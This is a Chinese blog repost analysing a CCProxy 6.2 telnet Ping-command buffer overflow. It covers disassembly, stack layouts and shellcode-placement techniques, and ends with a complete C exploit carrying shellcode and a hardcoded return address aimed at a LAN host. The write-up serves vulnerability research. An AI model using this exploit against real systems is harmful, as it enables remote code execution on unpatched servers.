[轉自luoluo's blog]CCProxy遠程緩衝區溢出分析

CCProxy遠程緩衝區溢出分析

luoluo [[email protected]]

CCProxy的緩衝區溢出攻擊代碼早已公佈,但是我並沒有能找到漏洞的相關說明,以下就對
這個簡單的緩衝區溢出漏洞作簡要分析。偶水平很菜,加上糟糕的文字,錯誤和不足處,
請各位指教,感激不盡。

測試環境:windows2003 + CCProxy 6.2

CCProxy是一款輕量級的代理服務器軟件,該服務器軟件提供了遠程telnet功能,telnet進
去後可以執行簡單的命令,其中的Ping(P)命令的參數如果提交過長的字符串的話,就會造
成緩衝區溢出,攻擊者可以利用這個漏洞在遠程主機上執行任意代碼。

該漏洞主要是由於在處理Ping命令的結果回顯數據時,使用sprintf函數格式化字符串,該
函數沒有邊界檢查,導致溢出從而可以改變程序流程執行任意代碼。

漏洞代碼:

_text:00430300 sub_0_430300    proc near               ; CODE XREF: sub_0_426B20+20p
_text:00430300 
_text:00430300 var_468         = dword ptr -468h
_text:00430300 s               = dword ptr -464h
_text:00430300 var_458         = dword ptr -458h
_text:00430300 var_454         = dword ptr -454h
_text:00430300 var_450         = dword ptr -450h
_text:00430300 var_44C         = dword ptr -44Ch
_text:00430300 var_448         = byte ptr -448h
_text:00430300 var_438         = dword ptr -438h
_text:00430300 in              = in_addr ptr -434h
_text:00430300 var_430         = dword ptr -430h
_text:00430300 var_42C         = byte ptr -42Ch
_text:00430300 var_428         = byte ptr -428h
_text:00430300 var_418         = byte ptr -418h
_text:00430300 buf             = byte ptr -414h
_text:00430300 var_404         = byte ptr -404h
_text:00430300 var_403         = byte ptr -403h
_text:00430300 var_34          = dword ptr -34h
_text:00430300 var_20          = dword ptr -20h
_text:00430300 name            = dword ptr -4
_text:00430300 arg_8           = dword ptr  0Ch
_text:00430300 
_text:00430300                 sub     esp, 430h
_text:00430306                 push    ebx
_text:00430307                 push    ebp
_text:00430308                 mov     ebp, ecx
_text:0043030A                 push    esi
_text:0043030B                 push    edi
_text:0043030C                 mov     ecx, 100h
_text:00430311                 lea     ebx, [ebp+8]
_text:00430314                 mov     byte ptr [ebp+1008h], 0
_text:0043031B                 lea     edi, [esp+440h+var_403]
_text:0043031F                 push    1               ; protocol
_text:00430321                 mov     byte ptr [ebx], 0
_text:00430324                 mov     al, byte_0_47B338
_text:00430329                 mov     [esp+444h+var_404], al
_text:0043032D                 xor     eax, eax
_text:0043032F                 repe stosd     // 緩衝區清空 400h = 1024,調試程
序時發現這裏的緩衝區起始位置比分配的位置後移了一個字節,不知道是什麼原因
_text:00430331                 mov     ecx, [esp+444h+arg_8]
_text:00430338                 push    3               ; type
_text:0043033A                 push    2               ; af
_text:0043033C                 mov     [ebp+0], ecx
_text:0043033F                 call    ds:socket
_text:00430345                 cmp     eax, 0FFFFFFFFh
_text:00430348                 mov     [esp+44Ch+var_438], eax
_text:0043034C                 jnz     short loc_0_430367
_text:0043034E                 push    offset aSocket  ; "socket()"
_text:00430353                 mov     ecx, ebp
_text:00430355                 call    sub_0_430710
_text:0043035A                 pop     edi
_text:0043035B                 pop     esi
_text:0043035C                 pop     ebp
_text:0043035D                 pop     ebx
_text:0043035E                 add     esp, 430h
_text:00430364                 retn    0Ch
_text:00430367 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
_text:00430367 
_text:00430367 loc_0_430367:                           ; CODE XREF: sub_0_430300+4Cj
_text:00430367                 mov     esi, [esp+44Ch+name]
_text:0043036E                 push    esi             ; name
_text:0043036F                 call    ds:gethostbyname
_text:00430375                 test    eax, eax
_text:00430377                 jnz     short loc_0_4303DF
_text:00430379                 push    esi               // 第三個參數,Ping命令的參數
_text:0043037A                 lea     edx, [esp+454h+buf]
_text:0043037E                 push    offset aHostNotFoundS ; "Host not found: %s/r/n"
_text:00430383                 push    edx               // 第一個參數,目標緩衝區
_text:00430384                 call    _sprintf          // 調用sprintf函數  導致溢出
_text:00430389                 lea     edi, [esp+45Ch+buf]
_text:0043038D                 or      ecx, 0FFFFFFFFh
_text:00430390                 xor     eax, eax
_text:00430392                 add     esp, 0Ch
_text:00430395                 repne scasb
_text:00430397                 not     ecx
_text:00430399                 sub     edi, ecx
_text:0043039B                 push    eax             ; flags
_text:0043039C                 mov     esi, edi
_text:0043039E                 mov     edx, ecx
_text:004303A0                 mov     edi, ebx
_text:004303A2                 or      ecx, 0FFFFFFFFh
_text:004303A5                 repne scasb
_text:004303A7                 mov     ecx, edx
_text:004303A9                 dec     edi
_text:004303AA                 shr     ecx, 2
_text:004303AD                 repe movsd
_text:004303AF                 mov     ecx, edx
_text:004303B1                 and     ecx, 3
_text:004303B4                 repe movsb
_text:004303B6                 lea     edi, [esp+454h+buf]
_text:004303BA                 or      ecx, 0FFFFFFFFh
_text:004303BD                 repne scasb
_text:004303BF                 not     ecx
_text:004303C1                 dec     ecx
_text:004303C2                 lea     eax, [esp+454h+buf]
_text:004303C6                 push    ecx             ; len
_text:004303C7                 mov     ecx, [ebp+0]
_text:004303CA                 push    eax             ; buf
_text:004303CB                 push    ecx             ; s
_text:004303CC                 call    ds:send
_text:004303D2                 pop     edi
_text:004303D3                 pop     esi
_text:004303D4                 pop     ebp
_text:004303D5                 pop     ebx
_text:004303D6                 add     esp, 430h
_text:004303DC                 retn    0Ch
_text:004303DF ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?


調用sprintf前當前的堆棧的情況:

+---------+---------+------------------------+------------+----------+---------+--------+
|   esp   |  data   | dst buffer of sprintf  |  4 bytes   |  eip     |  data   |  ebp   |
+---------+---------+------------------------+------------+----------+---------+--------+
                    |<----  1024 bytes   --->|

格式化字符串的長度是16 bytes,只要我們Ping命令的主機名爲1016 bytes數據,就可以剛
好覆蓋eip,從而改變程序流程,在返回時,esi裏存放的地址正好落在一個存放主機名的
buffer拷貝里,可以搜尋系統裏的jmp esi的地址作爲返回地址來定位shellcode。

如果要用jmp esp來執行shellcode,則麻煩一些,因爲在漏洞程序部分使用主機名是一份拷貝,
在前面拷貝時,源緩衝區和目標緩衝相鄰,如果主機名大於1024 bytes,大於1024 bytes的部
分會被拷貝的部分填充,所以如果直接把shellcode跟在要用來覆蓋eip的地址後面不可行。
但是不是沒有辦法,因爲填充的內容就是源緩衝區的前1024 bytes,而拷貝的長度由源串的長
度決定,可以發送一個長度不小於1024+(len of shellcode)的主機名,並且shellcode填充在
主機名的最前面,這樣拷貝時shellcode會被拷貝到目標緩衝區的後面,就可以利用jmp esp來
定位shellcode。

圖Copy前:

+-----+------+-----------+--------------+--------------+------+--------------+------
| esp | data | shellcode | filling data | addr jmp esp | nops | filling data | data ...
+-----+------+-----------+--------------+--------------+------+--------------+------
             |<--------   1024 bytes source buffer  --------->|<- start of dst buffer    
                                                              
圖Copy後:

--+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+--
..| shellcode | filling data | addr jmp esp | nops |  shellcode   | filling data | addr jmp esp | nops | shellcode |..
--+-----------+--------------+--------------+------+--------------+--------------+--------------+------+-----------+--
  |<--------   1024 bytes source buffer  --------->|<---- start of dst buffer                   |<-- esp when ret
                                                   |<---- hostname buff to be formatted by sprintf


附帶一個在win2003上利用jmp esp的簡單測試程序(非安全返回):

//-----------------------------------------------------------------
// A test script (jmp esp) for ccproxy 6.22 on win2k3
// and it only opens a cmd window for funny. :)
// and it dosen't return safely, if the cmd window
// was closed, an exception will be thrown out
// and the application will exit.
//
// created by luoluo luoluo_at_hotmail.com
//-----------------------------------------------------------------

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>

#pragma comment(lib, "ws2_32")

bool send_buff(char *, int);

unsigned char shellcode[] = 
		// decoder
		"/x8B/xC4/x83/xC0/x49/x80/x30/x99"
		"/x83/xC0/x29/x80/x30/x99/x83/xC0/x2E/x80/x30/x99"
		// system("cmd.exe")
		"/x55/x51/x52/x8B/xEC/x83/xEC/x20/x33/xC9"
		"/xC6/x45/xF5/x6D/xC6/x45/xF6/x73"
		"/xC6/x45/xF7/x76/xC6/x45/xF8/x63"
		"/xC6/x45/xF9/x72/xC6/x45/xFA/x74"
		"/xC6/x45/xFB/x2E/xC6/x45/xFC/x64"
		"/xC6/x45/xFD/x6C/xC6/x45/xFE/x6C"
		"/xC6/x45/xFF/x99/x8D/x45/xF5/x50"
		"/xB9/x0D/x85/xE1/x77/xFF/xD1/x8B/xD0"
		"/xC6/x45/xF5/x73/xC6/x45/xF6/x79"
		"/xC6/x45/xF7/x73/xC6/x45/xF8/x74"
		"/xC6/x45/xF9/x65/xC6/x45/xFA/x6D"
		"/xC6/x45/xFB/x99/x8D/x45/xF5/x50"
		"/x52/xB9/xFB/x2D/xE1/x77/xFF/xD1/x8B/xD0"
		"/xC6/x45/xF5/x63/xC6/x45/xF6/x6D"
		"/xC6/x45/xF7/x64/xC6/x45/xF8/x2E"
		"/xC6/x45/xF9/x65/xC6/x45/xFA/x78"
		"/xC6/x45/xFB/x65/xC6/x45/xFC/x99"
		"/x8D/x45/xF5/x50/xFF/xD2/x83/xC4"
		"/x04/x8B/xE5/x5A/x59/x5D";

unsigned char jmp_esp[] = "/x46/x7a/xe1/x77";


unsigned char padding[] = "/x90/x90/x90/x90"
			  "/x90/x90/x90/x90";

void main()
{
	char buff[2048];
	int i;
	int filling_size;
	char buff2send[2048];

	memset(buff, 0, 2048);

	strcpy(buff, "/x90/x90/x90/x90");
	strcat(buff, (const char *)shellcode);
	
	filling_size = 1024 - 4 - strlen((const char *)shellcode) - strlen((const char *)padding) - 4;

	for (i = 0; i < filling_size; i ++)
		strcat(buff, "/x90");

	strcat(buff, (const char *)jmp_esp);
	strcat(buff, (const char *)padding);

	for (i = 0; i < 400; i ++)
		strcat(buff, "/x90");

	memset(buff2send, 0, 2048);
	sprintf(buff2send, "p %s/r/n", buff);

	//---------------------------------------------------
	send_buff(buff2send, strlen(buff2send));
}

bool send_buff(char *buffer, int buff_size) 
{

	WSADATA WSAData;
	SOCKET s;
	SOCKADDR_IN addr_in;
	char recv_buff[4096];
	int bytes_recv = 0;
	int bytes_send = 0;

	//---------------------------------------------------
	if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0)
	{
		printf("WSAStartup failed./n");
		return false;
	}

	//----------------------------------------------------------
	if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
	{
		printf("socket error./n");
		return false;
	}

	//-----------------------------------------------------------
	addr_in.sin_family = AF_INET;
	addr_in.sin_port = htons(23);
	addr_in.sin_addr.S_un.S_addr = inet_addr("192.168.1.2");

	if (connect(s, (SOCKADDR *)&addr_in, sizeof(addr_in)))
	{
		printf("connect error./n");
		return false;
	}

	//------------------------------------------------------
	memset(recv_buff, 0, 4096);

	bytes_recv = recv(s, recv_buff, 4096, 0);

	if (bytes_recv == SOCKET_ERROR)
	{
		printf("recv error./n");
		return false;
	}
	else if (! bytes_recv)
	{
		printf("connection closed./n");
		return false;
	}

	printf("%d : %s/n", buff_size, recv_buff);

	//----------------------------------------------------------------
	bytes_send = send(s, buffer, buff_size, 0);

	if (bytes_send == SOCKET_ERROR) 
	{
		printf("send error./n");
		return false;
	}

	printf("%d bytes has been sent : %S/n", buff_size, buffer);

	//------------------------------------------
	closesocket(s);
	WSACleanup();
	return true;
}

-----------------EOF-------------------
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章